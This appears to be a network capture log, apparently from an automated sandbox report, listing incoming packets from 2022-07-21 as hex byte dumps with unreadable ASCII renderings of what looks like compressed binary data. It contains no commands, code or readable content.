2022-07-21 02:34:44 UTC	534	IN	Data Raw: 44 e9 fb b7 df 1a 37 de fb de ad b3 fe 02 d5 62 fa 1f ec 7d 5a c6 eb 4a b5 8e de 34 b5 fd f6 9f 71 fb f4 b8 85 9f e6 2d ff 00 3c fe 5d f5 bd 0a dc b1 b6 cd bb fc d2 fe bf 5e e6 72 8c 7e 13 80 b8 be fb 0d ec 96 5a bd b4 97 93 f9 cc f6 d2 79 6e 93 79 52 26 16 5d ab 92 bb 3f 5a d7 f0 ce 8b 73 a9 78 77 52 b7 b8 93 fb 42 4b c9 e2 48 2f 24 f9 fc c9 b7 f4 12 1e 7e a6 a2 92 fb 51 9a fa da 5f f4 7b c9 1f ee 7f 67 46 fb fc ad e4 45 1f fd f1 f3 d5 bb 19 ad 93 c4 d2 49 06 a5 f6 88 2c f4 fd 90 47 6f 1f dc 75 7f 95 47 f7 da bd 0a b2 93 85 a3 be ff 00 77 e4 65 ee c4 97 c6 56 7a ed 9c 92 7d 9f cc fe ca 85 fe ca f2 69 bf 7e 49 55 3f 78 c8 ed fe b2 24 5e b4 56 b4 da 4a 5e 5c 69 36 a7 fd 37 4e 9a 6f b5 6a 7a 5f dc 86 7d c9 94 ff 00 16 db fd da 2b 0a 58 ca 34 a0 a3 37 af a7 Data Ascii: D7b}ZJ4q-<]^r~ZynyR&]?ZsxwRBKH/$~Q_{gFEI,GouGweVz}i~IU?x$^VJ^\i67Nojz_}+X47
2022-07-21 02:34:44 UTC	638	IN	Data Raw: f9 53 f8 7e bf c3 5e 46 16 32 8d 25 19 2d f6 5e bf d7 43 59 7c 4c df bc 57 d4 2e 62 b0 97 ed 1a a4 97 29 e6 4d e5 fd c9 37 7c a3 75 72 bf 11 1f 50 f1 37 84 f5 23 61 6d 1d 9b e9 2f 6e f6 d7 1e 67 cf 3b ff 00 12 7f b5 5d 7e 9b a6 cd a5 db fd af f7 77 1e 72 2f ef 2e 3f e7 ab 26 3f 56 ac dd 63 4b 7b 0d 03 5f 97 ed 12 5b c9 72 ff 00 24 9f f3 c1 d7 ef 75 ff 00 6b a7 a5 65 85 ab 1a 55 94 a3 d1 ab 7d fa 93 52 3c d1 30 3c 0c b0 eb be 05 d4 b4 b9 6d be d1 05 9b b4 ff 00 68 d4 63 ff 00 51 b9 fe 6f 29 7f 89 b7 f4 ab 5e 18 bf 9a 59 2e 6e 2d 75 69 2c ae ed a0 4b 1b a8 e3 8f 7f 98 90 be 56 69 77 ff 00 18 f6 a6 5a a4 da 3d 97 d8 bf d0 e4 93 cc 5f 26 f3 fe 7e ee 17 f8 37 7b f6 6a bb e2 0b 0b bb 3b 1b 9d 67 ed 31 d9 7d a5 22 48 74 7b 89 3c 99 f7 b7 fc f3 db f7 bf 88 0d d5 Data Ascii: S~^F2%-^CY\|LW.b)M7\|urP7#am/ng;]~wr/.?&?VcK{_[r$ukeU}R<0<mhcQo)^Y.n-ui,KViwZ=_&~7{j;g1}"Ht{<
2022-07-21 02:34:44 UTC	654	IN	Data Raw: 71 fb ff 00 ca b2 b4 2b 94 d3 bc 51 15 e5 c4 52 5b c1 74 9e 62 47 f7 fc bd af fe b7 e4 fe 1f f6 6b a3 d4 a1 4b 7f 1f 59 5a 7d ba 3f b2 dd 3b 23 de 79 9f ea e5 93 e6 5f 97 ee fc de 95 8c f9 a9 cf 92 3d af f7 17 2f 84 ca d7 af df 45 b1 8e ff 00 fe 26 17 93 e9 e8 90 25 9c 7b ee 5e 3b 89 3e 66 f3 3f a5 5d b7 d6 a6 d4 b4 1f b6 cb 6d f6 84 4d f7 56 b7 17 b2 6c 9a 7d df 72 2f f7 b7 75 15 84 9a 12 5e 5c 7f 65 4d 7d f6 3b 47 bd b8 7f 2e 39 1f ce fb 44 79 60 ce a3 ee ee f9 71 9f 94 55 db 7d 3f 51 d5 3c 2f f6 a7 31 e8 d6 97 37 b1 5a 5d 5e 49 26 f7 81 36 7f ad f2 ff 00 89 bb 0a d5 d3 a7 25 18 f5 be fe 5f d5 ce 58 ca 5f 22 5f 0a c7 a5 dc c7 f6 fd 4a 4b 78 ee 93 6c 0f 1c 7f be f9 f7 fc fc 0f e2 ac 7f 1e 5f df dc 6b 9a 4f d8 ac 6e 2c dd 27 57 9e 39 24 f3 af 64 4f e1 5f Data Ascii: q+QR[tbGkKYZ}?;#y_=/E&%{^;>f?]mMVl}r/u^\eM};G.9Dy`qU}?Q</17Z]^I&6%_X_"_JKxl_kOn,'W9$dO_
2022-07-21 02:34:44 UTC	741	IN	Data Raw: 24 51 49 71 fd ab 61 6c 9f 6a b8 f2 ff 00 d4 2f f1 6e e3 73 ff 00 06 e1 f7 ab 7f 40 8a db c4 9a d5 95 ed d5 cd e5 bd 8d ac 1b f4 ff 00 32 34 d9 f6 8f f9 e4 f8 fe 1f 4a a3 79 af 26 85 2d b5 92 47 1c 73 bb b4 73 5c 49 1a 7e e3 77 cb b9 9d ab 8e 8b 95 39 fb 2d da 5b 76 b9 b5 4f e6 33 75 2d 9f f0 91 59 7d a2 db fb 06 c6 e7 4f d9 3f 99 f2 7f b5 f2 ee f5 a6 7c 29 d1 6c 2e 6e af b4 d7 96 de 3d 3a 1b af b5 69 f7 1e 67 fc 7c 79 7f c0 db 47 dd db 5a 7a c4 90 ae 83 75 7f a6 fd a2 e0 5b 26 cb 2b 89 3f e5 83 b7 cb 27 fc 04 ff 00 7b f8 6b 98 f8 67 1c 5f 0e 7f b5 ec 2e 22 bc b7 d3 ae 91 5f ec f7 17 1b fc bb 85 fb a7 fd ef 9b a5 7a 11 7c d8 4a 8a 3f 16 89 23 18 cb 96 5e f1 d5 78 82 ce 6b cd 36 da de 7f 33 7c 69 bf cb 8e 4f 9d ff 00 d8 d9 fe ef 35 9f e2 cd 6e c7 44 b2 fb Data Ascii: $QIqalj/ns@24Jy&-Gss\I~w9-[vO3u-Y}O?\|)l.n=:ig\|yGZzu[&+?'{kg_."_z\|J?#^xk63\|iO5nD
2022-07-21 02:34:44 UTC	805	IN	Data Raw: dd f3 7f 77 15 cf f8 e3 4b b6 d4 b5 69 2d 75 d9 6e 23 b1 74 8a 08 63 8f 7e f8 f6 a7 f7 17 f8 4f 7a ed 74 7d 25 2e 6d fe db 7b 2c 71 cf a7 bf fa 2c 76 ff 00 be 9a 4f 93 73 73 d5 b7 f6 af 36 5f b2 68 bf 10 b4 e4 f1 6d d4 92 36 a1 fe 8b 75 6d 14 6f fd a1 05 a4 89 e6 45 bb fb bf 37 96 0d 61 83 8f 3d 69 4e 12 77 4a ef bf c8 eb a9 1f 86 26 6f 85 bc 1f 0c 3e 24 96 d6 2b 28 e4 4b 34 59 21 bc fb 9e 7c 2c 9f 7b 1f ef 57 ac 5f 4d 6d 6f e1 79 7f b3 fc b9 24 44 48 26 92 49 36 3c 7b 78 f9 7f ba 95 97 a2 e8 9a 54 3e 30 d6 e5 b2 f3 2e 74 3b 64 d9 a7 c9 24 9b 1d df fb 9f 37 de 51 5c 96 9b a8 ea 53 6a 51 cb 2e 9b 1d ce 9c 9b 37 dc 7d a1 3e cd f7 f0 aa fd 36 62 ab 11 cd 8e ab cd 7f 85 47 71 f2 fb 28 f2 f7 3b 4b 3d 02 ce 6d 16 5b fd 5e 3b 88 f5 2b 9f dc 25 9c 7b 3f 77 f3 f0 Data Ascii: wKi-un#tc~Ozt}%.m{,q,vOss6_hm6umoE7a=iNwJ&o>$+(K4Y!\|,{W_Mmoy$DH&I6<{xT>0.t;d$7Q\SjQ.7}>6bGq(;K=m[^;+%{?w
2022-07-21 02:34:44 UTC	845	IN	Data Raw: 6b bb fe d2 b4 d6 b4 db 67 bc fb 1f 98 f7 4c 90 fd a2 4f 9e 7f 9f 1f c3 f2 ed f6 af 2a f0 7d 9d fd bd e4 51 5d 7f a4 7d a5 37 f9 9f f2 c6 04 fe e2 3f f0 2f cb f3 7a d7 ac 6a 97 16 3a 0c 3f 66 ba b6 b7 d4 6f 6c ed 56 fa 7b 3f 93 e4 b4 99 f6 2c d1 ed e7 8f e2 ae 7c 6d 28 fb 48 d3 a7 ab 5d 8e aa 3f 0f 34 8e 52 ca f9 f4 2d 26 e6 4d 6b f7 89 0c 1b 20 f2 e3 ff 00 58 fe 6f df ff 00 6b ff 00 b1 ac 5f 19 34 3e 1f f1 a4 71 5a 7e ee d6 ea ca 5b 57 b3 b7 8f ef cb 26 07 96 d9 fb bf de cd 77 3a d4 7f 6f bd b6 4b 89 63 d4 6c 66 9f c8 4b 8b 69 37 a7 cc 9c 7e 55 16 a4 89 0f da 6e 27 fd e6 ab ff 00 4c ed d1 e6 f2 bf e7 a6 d6 f5 a8 a1 5f d9 d4 e6 94 75 77 d3 a1 72 a7 ee 96 fe 1b ea 37 f0 e9 b6 da 55 bc b2 5e 58 cd 07 fa cb 68 dd 3e 7e 7e fe 7f 2d d5 99 ac 2e 9d a6 dd 4b e1 Data Ascii: kgLO*}Q]}7?/zj:?folV{?,\|m(H]?4R-&Mk Xok_4>qZ~[W&w:oKclfKi7~Un'L_uwr7U^Xh>~~-.K
2022-07-21 02:34:44 UTC	885	IN	Data Raw: f8 97 49 b3 ed 5a 7c 7f 73 cb ff 00 96 68 b2 6e e7 6d 79 17 89 35 2d 6f 52 d5 ad a7 f0 c7 99 6d aa a5 ee c9 ae 3e 44 4b b9 99 f6 fd d9 3e 56 da 95 cf 97 d2 94 eb c6 33 d3 93 cf 42 eb f2 c6 3c d1 ea 6f d9 78 7d 9b c2 7a 6e 9e 9f 67 93 52 49 f7 cd 79 24 9f 26 fe eb bb f8 5a bd 0b c5 96 37 9a bd e8 bd fb 0c 9a 73 e9 f0 ac 69 a8 47 1e cf 2f 6e 7e 5d bf c5 9f e2 ae 2f e1 d6 85 63 a6 f8 7e f6 29 74 df 2f c4 0f 25 c4 09 e6 7c e8 e8 bf 77 67 f0 bf bd 7a 0f 87 35 5b bd 4b c3 7a bc b7 52 7d a3 ec bb bf 77 e5 ba 4d 1b b7 dd f9 3f bb 5c d8 c9 4a 35 9c a3 af 2b 7f 8f e8 6b 4b 97 94 e6 6e ad 93 c4 0f 1c bf 68 93 fb 56 cd 37 bd bd be cf f8 f7 6f b8 b2 e7 f8 f7 56 0f 87 ec 7f e1 22 f1 65 cd be a5 a9 47 70 e9 b9 de f2 e6 4d 9f 27 f0 45 1f d1 aa be a1 69 73 71 63 a9 5f fd Data Ascii: IZ\|shnmy5-oRm>DK>V3B<ox}zngRIy$&Z7siG/n~]/c~)t/%\|wgz5[KzR}wM?\J5+kKnhV7oV"eGpM'Eisqc_
2022-07-21 02:34:44 UTC	964	IN	Data Raw: 8c a3 cd bb 2e ea 36 b6 d1 5c 5c de a7 fa 6e c4 8b 7c 7f dc b8 93 ab cd 20 fb 8b b7 ff 00 1e ae 43 c1 f7 9a c6 87 e3 1d 5f 4d d3 7e c7 67 06 cd f3 dc 47 f3 a4 1d 7e 5d bf fb 35 56 d2 e4 9f c1 b1 c8 b0 69 b1 c9 76 89 2d a5 d7 fa 3e f4 78 56 2f 9b 6a b7 f1 fc e9 56 e1 91 ed ec f4 db df 0a db 5c 5c 6a b7 b6 b1 40 f7 97 3f 7f ce 67 fb bf ee ff 00 bf f2 d6 de c7 92 12 8e 92 52 56 4d ed f3 33 e6 e6 94 65 d4 f4 2d 22 1b 0d 2a 3b ab b8 be d1 f6 5b ab 2f 93 ed 3f 3c db db bf f7 6b 9b b3 68 f4 ed 1e 5b 7d 36 da e2 4d 49 fe 4f b4 47 ff 00 8f 49 fe c7 bd 5b d3 6f ae 64 b1 be d3 f5 58 e4 fe d2 4b a5 8d f4 79 36 3e cd bf c7 ff 00 c4 ec 35 cb 78 8e 6d 49 2f ad b5 2d 02 2b 7f ec e8 7c d8 ef 64 b6 df fb bd df 7c 07 6f f5 6c df 74 ff 00 15 79 94 28 4a 55 25 19 cb fc bc 8d Data Ascii: .6\\n\| C_M~gG~]5Viv->xV/jV\\j@?gRVM3e-"*;[/?<kh[}6MIOGI[odXKy6>5xmI/-+\|d\|olty(JU%
2022-07-21 02:34:44 UTC	980	IN	Data Raw: 1e aa de 2c b2 5b 5d 02 3d 52 c7 56 7d e9 a7 ea 32 4b 0a 5a 4c bc 7e f3 fb 9f 7b e6 5f c6 b6 7c 2b e1 dd 37 fe 10 5b 96 d5 f5 29 35 04 b9 44 f2 e3 b8 8f e7 81 f7 fe f3 6f 7d be 9f ee 57 61 e3 5f 17 db 7f c2 39 a9 25 a7 ef 3f 70 d2 25 bd ef df 91 37 ac 1f bb 6f e0 dc dd 0f fb 15 e5 56 5a f5 ce 9b e2 19 35 7d 6a df cb d5 5f ee 47 7b f3 bd a5 c7 4d ce bb 8e f5 f9 7f 87 fe f9 af 4e 8c ea e2 b0 ca 11 8f 27 2f de ed fd 6e 8e 6f 86 5d ce c2 ce e2 1d 63 45 d3 6c 63 b6 92 f3 ed 37 5f 6a 86 cf e4 4d 9e 67 c9 e6 af fb 4b fc 3b ab ce be 24 58 a5 df 8a 62 4b 29 7f b3 c5 9f ee e0 b3 b7 91 1e 6f f6 77 2a 64 7d ee 0b 0a ed 7e 27 6a 2f e1 1d 4a 5b a8 bc cd 53 51 ba b2 49 fc cb 7b 77 74 91 24 ec db 7f d5 fc df 70 0f bc 2b 0b c2 7a 69 d4 b5 f9 75 dd 43 49 93 4f 8e 34 48 2f Data Ascii: ,[]=RV}2KZL~{_\|+7[)5Do}Wa_9%?p%7oVZ5}j_G{MN'/no]cElc7_jMgK;$XbK)ow*d}~'j/J[SQI{wt$p+ziuCIO4H/
2022-07-21 02:34:44 UTC	1051	IN	Data Raw: 6d 87 87 3c b0 fa 0d af ee 74 f8 e4 4f f4 bd c9 b7 cd 12 7f 1b ff 00 17 fe 3b 4e a5 38 d9 d3 8b be b7 bf 4f eb fa 7d 8c 63 cd 2f 88 ec 9b 54 d5 34 5d 07 44 bd b5 8a 3d 56 f9 23 69 12 de 48 de 68 76 6f da db 3c bf b8 fb 78 dc f5 c9 78 83 c3 e9 a8 78 82 2d 23 58 8e e7 46 f0 ce ff 00 23 cb 8f e4 ba 8d 1b e7 57 f4 db b9 b6 fc d5 df e9 7e 26 4d 33 49 8a 2b bd 26 e2 ce c6 e4 f9 6f 79 6f 27 ee 2d 2e 24 88 0d 8f fc 6b 22 d6 4e b1 66 d2 47 6d 79 69 a4 db de 5f 3f 9b 6b 73 6f 26 f8 7f b4 a2 57 fd db 46 dd 37 7b 3f 5a f1 70 f5 25 4a a5 9a b5 ef 67 fd 76 3a 2a 47 9a 3e 48 f2 4f 10 69 7f f0 af 6e 24 b4 6b 18 f5 5f 10 5b 48 97 50 eb b1 c8 f3 79 76 91 a7 fa a5 5c 6d dd fe df af 7a eb ee 2f 26 f1 36 93 25 bd fd cd e4 76 2e 96 b7 d0 e9 f6 df f2 e9 2e ff 00 f5 8f b7 ef e7 Data Ascii: m<tO;N8O}c/T4]D=V#iHhvo<xxx-#XF#W~&M3I+&oyo'-.$k"NfGmyi_?kso&WF7{?Zp%Jgv:*G>HOin$k_[HPyv\mz/&6%v..
2022-07-21 02:34:44 UTC	1123	IN	Data Raw: 16 f6 f2 23 a4 8f b7 e7 f3 24 4f de 79 6c 9f c2 38 ae fe 5e 75 7d a0 b6 b6 f7 8e c2 8c bd ee 58 95 e6 d6 34 a5 d6 ac bc 3b 14 9e 5d d4 29 14 d3 6b 19 f3 be d7 16 fd e9 14 68 dc 2f fc 03 eb 5d 67 82 ec ed ae 7c 61 f6 5b df f4 24 d8 df 65 fb 34 6f 0b ef df f7 5a 4e 8d 95 e6 b9 5d 67 c1 36 7a 7e b7 ab 6a b0 ea 52 7f 63 5c bf 91 65 71 a8 c6 af 0a 24 69 c6 c5 ff 00 59 b4 7f 0f f1 55 7f 86 b7 d6 de 1c d1 65 59 fc cd 2e 77 79 60 7f b4 46 ef f6 b4 ff 00 a6 6e dc ef df eb 82 b5 78 88 46 ae 1e 52 a3 27 7b 2f bd 91 cd cb 2f 78 5f 8c 3a 92 da 6b 56 56 97 5a 4d e6 fb 39 99 f4 fd 2b 4e 8f fd 7a 2a 7c db f3 8d aa 1b ef 7f 7a b0 7c 21 a7 f8 9b 45 fb 37 8b 2f 62 93 50 fe d0 76 d4 61 b7 f3 13 fd 52 fc bb 96 1f bd ca b6 39 ed 5d ff 00 86 fc 45 07 87 fc 49 6d 7d e2 db d8 e4 Data Ascii: #$Oyl8^u}X4;])kh/]g\|a[$e4oZN]g6z~jRc\eq$iYUeY.wy`FnxFR'{//x_:kVVZM9+Nz*\|z\|!E7/bPvaR9]EIm}
2022-07-21 02:34:44 UTC	1147	IN	Data Raw: 0e eb f2 37 dd f9 d5 8d 6c 4d f6 bb c8 bf b3 6d 4c 7e 1e d2 fe cd 2c f7 b7 12 49 f3 f9 cb ff 00 2c a2 8d 09 db bb af 15 ec e2 21 4e d1 8d 07 64 d2 bd ff 00 13 3a 71 fe 6d d9 95 a3 bd e6 b5 e0 f9 6c f4 99 63 d2 93 e6 d9 25 cf f7 3f e9 8f 7a 96 2d 67 4d d1 3c 2f 7b 6f 65 1f 9b a9 24 f1 24 17 9f 68 47 99 f6 f5 97 6f fc b3 7d d5 b1 e3 5d 6e 1d 5a de da c6 18 ed ed af 6e 63 b7 b1 ba b8 b7 b7 d9 f3 b7 dc 99 b6 f3 b8 25 79 4e ad e1 f4 d1 6e 7f 73 1f da 67 7b af 22 7f 32 44 77 bb fe ec dd 45 18 6a 71 c4 2f 7f dd bb ba 5f e6 ce 69 54 95 39 7b a7 73 e0 ef 1a ff 00 c2 65 ab 6b 7f da ba d7 da 35 2f b4 ff 00 c4 be e2 58 ff 00 e5 8e cd ad bb 67 f7 6b 07 e2 56 8f 2b 49 63 67 71 e6 47 3a 5c f9 f6 be 66 c7 9a 74 df ed f7 57 6f dd 15 53 c0 7a 15 e6 ac 97 bf da 91 79 7a b5 Data Ascii: 7lMmL~,I,!Nd:qmlc%?z-gM</{oe$$hGo}]nZnc%yNnsg{"2DwEjq/_iT9{sek5/XgkV+IcgqG:\ftWoSzyz
2022-07-21 02:34:44 UTC	1195	IN	Data Raw: 4a ae 8e ef e4 6d 4a 3e f7 ba 7b b7 8a 74 fb 0f 0b 68 96 57 9a 45 b7 d9 b5 28 6d a2 f2 6f 3c cf df 49 f3 f9 6d 15 79 37 8e 2c 3e cf f1 4a c6 ee d2 ca f2 38 e3 48 a4 9f 58 fb fe 63 b7 f1 ff 00 75 7f 1a f5 4f 15 dc a6 a5 a0 c7 a9 68 be 5e ab ab 47 05 bf fa 45 f7 c9 be dd 5f e7 92 34 f7 6a e1 61 d2 52 f3 c5 72 5b 5b c9 27 da ee 61 fb 0b c7 1c 89 e4 cf 37 55 dd bb d3 a5 7c fe 02 f4 21 cf 2d 5b 4f d4 f5 6a 7b df 09 6b c3 3a bd bd 9c 72 a7 f6 dc 92 5a 5e dd 37 9f 24 9f 3b c9 37 a7 ee ff 00 bd 5a 9a ae 8b 34 37 3a 8d 87 d9 ae 35 48 de 6d ef 6f e6 6f d9 37 f0 ed 6f e1 5a ca b5 f0 e6 9d f0 e5 a2 4b 88 e3 b3 36 ce ae f2 79 9e 74 29 36 fd b5 73 e2 57 8c a4 f0 bd ee 9b a9 43 e6 5c e9 37 33 2a 5d 47 1c 7b e1 91 ff 00 ba ff 00 dd cd 63 2e 6a d8 98 c6 8a de fa be a4 54 Data Ascii: JmJ>{thWE(mo<Imy7,>J8HXcuOh^GE_4jaRr[['a7U\|!-[Oj{k:rZ^7$;7Z47:5Hmoo7oZK6yt)6sWC\73*]G{c.jT
2022-07-21 02:34:44 UTC	1227	IN	Data Raw: ff 00 da 5f ee 8a ed be 19 f8 b2 fb 4b f0 fd c4 1a 8d 95 c5 bd a5 b6 a0 c9 a7 ea 9e 5a 25 ae d9 3b 3f f7 3e f5 43 e3 ab 1d 57 c4 9e 3a b6 64 b1 fb 66 9b 73 02 a4 71 fd cf 2e 1f f9 68 df ef 56 12 a9 56 a5 69 54 a8 97 2c 3a dc 72 8c 79 7d d3 8f 9b 41 fb 76 89 a4 4c 2d a4 b8 81 20 57 48 ee 24 4f 3a 77 5c ee 95 36 7d df f7 6b 9a f8 76 f2 78 c2 eb fb 37 50 b2 93 ec 96 13 ad 8d ad bd c4 7f de dd 21 db 21 fe 3d dc 1a e8 3c 37 e3 0b ff 00 05 ea b1 4f 7a 23 3a 32 23 d8 bd c4 92 6f 4f 99 ff 00 77 f2 ff 00 cb 36 ae db e1 fd 8d f4 da 46 b7 a9 79 9a 7c 76 5a 9c f2 bb c9 73 1e cb 9b 49 5b 3b a6 f3 1b 8e 2b af eb 32 c2 a9 4a aa 4d 36 ac ef e6 63 4f 96 52 f7 7e 67 29 af f8 93 fe 24 3e 55 e5 8c 73 d8 da de f9 16 ba 35 cf dc b4 da ff 00 73 ff 00 8a a1 9e 6f 02 e8 77 37 b7 Data Ascii: _KZ%;?>CW:dfsq.hVViT,:ry}AvL- WH$O:w\6}kvx7P!!=<7Oz#:2#oOw6Fy\|vZsI[;+2JM6cOR~g)$>Us5sow7
2022-07-21 02:34:44 UTC	1266	IN	Data Raw: f7 2f 25 a4 7f f2 d0 ff 00 bb de 8a 21 19 d4 bc a2 97 cf 7f cd 1b c7 dd 56 66 af 8c 34 eb cd 77 c3 9f 65 b2 b9 f2 ed 37 dc 4f 04 7a 8f ce ff 00 bb ca ed 5a 3e 1c 78 8b 48 d6 b4 9b 1d 36 de e2 4f b5 69 b1 f9 77 52 5c 47 fe b3 6a 7c cd fe ed 67 c3 a0 be a9 71 f6 4b ab 69 3c 8b 07 f9 2e 3c cf 26 69 3e 7f f5 9b 7f ba 57 a5 75 3e 1b 8d 34 7b 8b 9b 87 8a 3b 9b 19 a0 f2 fc cf 91 1e 37 fe 1c 57 97 5a 70 86 1e 54 37 7b a1 c7 de 91 e7 da a6 8f 6d a5 ea df da 16 b1 c7 6f a5 22 6f 87 50 92 e1 1d fe 5e cb 1f f0 d7 5b aa c7 0d e6 93 65 bb 4d 8e e2 f9 3c af f8 9a 5b c9 be db 67 de 6f 96 a2 bc d2 6c 2f 23 d5 ac e0 93 ec f3 ea 0f f6 58 24 92 dd 3c 9d df 79 b7 77 56 35 3f 83 f4 bd 52 1d 7a de de e2 e3 ed b0 22 6c 9b 4f f2 fe 4f 25 7f 8f e5 fb b9 6a da a5 65 28 2a 8d eb 1e Data Ascii: /%!Vf4we7OzZ>xH6OiwR\Gj\|gqKi<.<&i>Wu>4{;7WZpT7{mo"oP^[eM<[gol/#X$<ywV5?Rz"lOO%je(*
2022-07-21 02:34:44 UTC	1393	IN	Data Raw: d5 a7 fd dc 9b 3c fd df 79 56 b4 e6 d4 93 57 b7 b2 b8 d5 3e d1 67 03 bc b7 49 fb cf df 22 2f 1f 37 fb be f5 9f e2 ad 4a e3 5e f0 fd 94 4f 65 a5 de 40 9b 9f cc 8e 3d 9f 77 fb cd ff 00 3d 2b 6a 72 a9 3a 94 fd ae cb 46 3a 9c bc b2 e5 38 a8 7c 4f ae d9 da db 4b a7 dc c9 25 ac 76 5f 24 71 ec 47 b4 dd fe f7 1b 8d 45 6c de 29 f1 36 b9 a4 c5 67 6d 1c 91 fd cf b6 79 9b 3f d5 ff 00 cf 45 3f ec ee ad 2d 1a 6b 16 d3 6c 62 bc ff 00 43 8d e1 f9 fe e7 ef 26 5f ef ee f4 ae da fa f2 38 fe 21 69 ab a7 e9 b2 5b e8 f3 59 27 93 71 6f f7 ed 25 fb ac d9 e9 c2 d7 ad 52 b2 a7 27 18 d3 57 b3 d5 9e 7f 2f 37 da 38 35 bc bc f3 35 6d 21 e5 fb 63 d9 ff 00 c4 c5 2d ed e3 7f f4 bf 2d fe 59 5b 1f 76 ae 6b b7 4f fe 85 7f 79 f6 83 05 cf 95 1f 99 f6 84 df 03 c8 9f 75 ff 00 d8 a9 3e 20 db 5e Data Ascii: <yVW>gI"/7J^Oe@=w=+jr:F:8\|OK%v_$qGEl)6gmy?E?-klbC&_8!i[Y'qo%R'W/7855m!c--Y[vkOyu> ^
2022-07-21 02:34:44 UTC	1433	IN	Data Raw: 00 e8 35 e6 3e 30 f1 06 a3 aa 78 c0 a3 69 d7 16 5f 3f c9 1d cc 8f 37 91 b5 fe ff 00 ff 00 5e b0 c3 28 56 c5 4e 51 57 5d 48 97 37 2c 62 68 e8 fe 23 d0 bc 21 ab 45 ab c3 ab 49 2d ac 29 79 1f f6 5c 72 3b be fe 42 b6 5b ee 7d ef e1 ae ab c1 ba f5 a3 69 da 65 f3 d8 c7 1c 16 1f f1 f5 a7 e9 5f 27 cf ff 00 3d 4c df c6 fb 7e 6c 7f 15 71 9a 6e 9b a2 f8 57 ed b1 4b 65 6f 1a 7f a5 6c d5 2f 63 fb 52 26 ed 9b b6 af b3 6e f9 ab a5 d4 bc 79 67 e1 fb 8b 7d 23 4f b6 b7 b7 4b 37 59 2c af 7e ff 00 c9 b3 ee ac 7e dd eb 4c 4c 15 4d 29 27 26 fa be cb fe 1f d4 da 9c b9 7d e9 1a 1e 20 b3 b7 ba d5 be cb 17 97 e7 be db eb a9 25 93 c9 fb 5a 6f fd cf dd 23 67 fb b5 57 c3 2d 3f 8d bc 61 22 69 a9 71 7b 7d a8 5a b7 da be db 6e 90 a4 9b 71 f2 7f bb b7 a7 7a f2 3d 73 c7 cb 26 83 ab 7f 69 Data Ascii: 5>0xi_?7^(VNQW]H7,bh#!EI-)y\r;B[}ie_'=L~lqnWKeol/cR&nyg}#OK7Y,~~LLM)'&} %Zo#gW-?a"iq{}Znqz=s&i
2022-07-21 02:34:44 UTC	1521	IN	Data Raw: 7a ff 00 b5 5b 3e 07 1a 75 bf 83 74 89 62 fe d0 cd 9a 79 e9 a3 df 6f 78 63 79 1d 99 e7 b7 3c 16 85 17 f8 7f bd 58 8f e2 8b cf 87 ff 00 6e 96 ca f7 50 93 46 de b3 dd 5e 47 6e ae 8f 2b 7c a9 bd 7f 87 73 7c 95 b5 3a 4d 55 9d 18 ae 6e 96 7d 7f 3e 84 4a 51 e5 8c a2 74 7a 5e a8 9e 2a 8e ea d2 5d 4a df cb b9 46 44 92 48 f6 79 73 70 fb 78 ff 00 67 b5 73 3a 0e 8e 9e 5d cf 89 16 39 e2 8f c3 af 2a 24 7f 3a 3e a5 37 f1 3c 6c df 79 6b af b7 f1 66 99 71 71 6d a9 69 fa 6d bc b6 b2 40 c9 a8 69 f7 11 fc f0 4b b3 fd 6f 98 bf 7f e5 ae 37 54 9a f2 6b 3b 99 f4 bd 4a f3 54 78 1e d5 21 f3 23 de 9f 33 ef ce d5 fe 0f c2 96 1d 4a 2e 51 8c 79 53 b7 f9 30 97 de 62 2e 8b 63 6f e2 4b 24 4b d8 f4 e9 92 cb 64 d7 1f 67 f9 de 66 dd f3 37 fe 3b ff 00 a1 56 8f c3 b6 b9 d4 34 1b eb ab 48 bf Data Ascii: z[>utbyoxcy<XnPF^Gn+\|s\|:MUn}>JQtz^]JFDHyspxgs:]9$:>7<lykfqqmim@iKo7Tk;JTx!#3J.QyS0b.coK$Kdgf7;V4H
2022-07-21 02:34:44 UTC	1584	IN	Data Raw: 00 17 fc 3d 2b 4e 48 2f 17 c2 f7 d6 42 fa 49 60 91 20 9f 4c f2 ee 3f d2 63 97 ff 00 66 c7 f1 0a e0 c4 61 dc dc 69 f3 5b 95 a5 eb b5 ff 00 cc bf 69 18 98 9e 11 f1 9d e7 84 f4 9f 12 dd b6 ad 1c f0 7c d6 ba 85 e7 d8 f6 4d 1e ef f9 63 1a fb b5 60 78 0e 6d 46 f3 45 b8 d4 12 db fb 3d ee 9f cb 87 50 b9 ff 00 8f 67 8b 7f fb 5b bf 79 56 bc 45 6f 16 97 73 2e 9b e2 9d 5e e2 48 f5 0b a8 3e d5 a8 47 6f f2 49 e5 b9 da df ef 0a a5 e2 0d 1e ef 5a d3 7c 35 69 a5 59 5c 1b 14 bd df 04 76 df 23 cf 12 bf cd 36 c5 c6 d6 ed f3 57 d1 46 34 a4 af b7 3b 5a f4 b2 5f 2f f8 63 9e 35 25 2f 88 f4 0f 15 e9 be 1f 87 c2 9a b7 95 25 be a3 7d 35 b3 25 ad e4 92 7c ef b7 fd 6f fb eb 55 ad f4 47 b7 d3 6d b4 eb cd 36 de 44 99 3c cf b6 79 68 f0 c9 ea bb 3f e5 9b 7f e3 b5 bb e2 eb 5d 0b c3 3e 38 Data Ascii: =+NH/BI` L?cfai[i\|Mc`xmFE=Pg[yVEos.^H>GoIZ\|5iY\v#6WF4;Z_/c5%/%}5%\|oUGm6D<yh?]>8
2022-07-21 02:34:44 UTC	1648	IN	Data Raw: fa e6 ff 00 7f e6 c2 7d ea e4 35 0b cf 88 f0 f8 ea db c1 ba 1d 8d 9c 96 96 57 4b 3b eb 57 91 bf 93 24 4d fb e4 db b6 ae fc 56 f0 e6 8b 75 e3 2b 9f 0d 5f de fd 9b 42 b5 d2 2c a7 ba 8f cc 7d 92 3a a3 f9 6b 36 df f9 67 5d 55 b4 de 20 b3 f1 a6 99 68 be 5d be 93 0e d7 4b 8f b4 43 ff 00 1e db 37 36 d3 cb 6c 5a fa ac c2 9e 1e 13 9a a1 41 4a a4 ad f1 6d 17 6e dd ff 00 03 28 ca 5c b1 f7 b4 46 0f c7 2f 0a ea 3e 2a 98 43 e2 4b ab 3b 3d 26 34 59 a7 8e ce 47 77 83 e9 fe f5 2f c2 6f ec 1d 07 c3 71 78 56 d3 4d 93 41 b7 9a f7 ed 7e 5f da 37 bc 93 49 cc 1f 37 de 56 3e 5d 69 fc 54 b8 bb f1 43 7f c4 b3 cc b8 d2 59 1a ea f7 54 b6 8f f8 e3 ff 00 56 aa df de ae 2f c1 1a a4 36 b1 7d 92 d6 2f b6 79 2f fb ed 43 ec fb 26 77 d9 d1 3f f4 1d f5 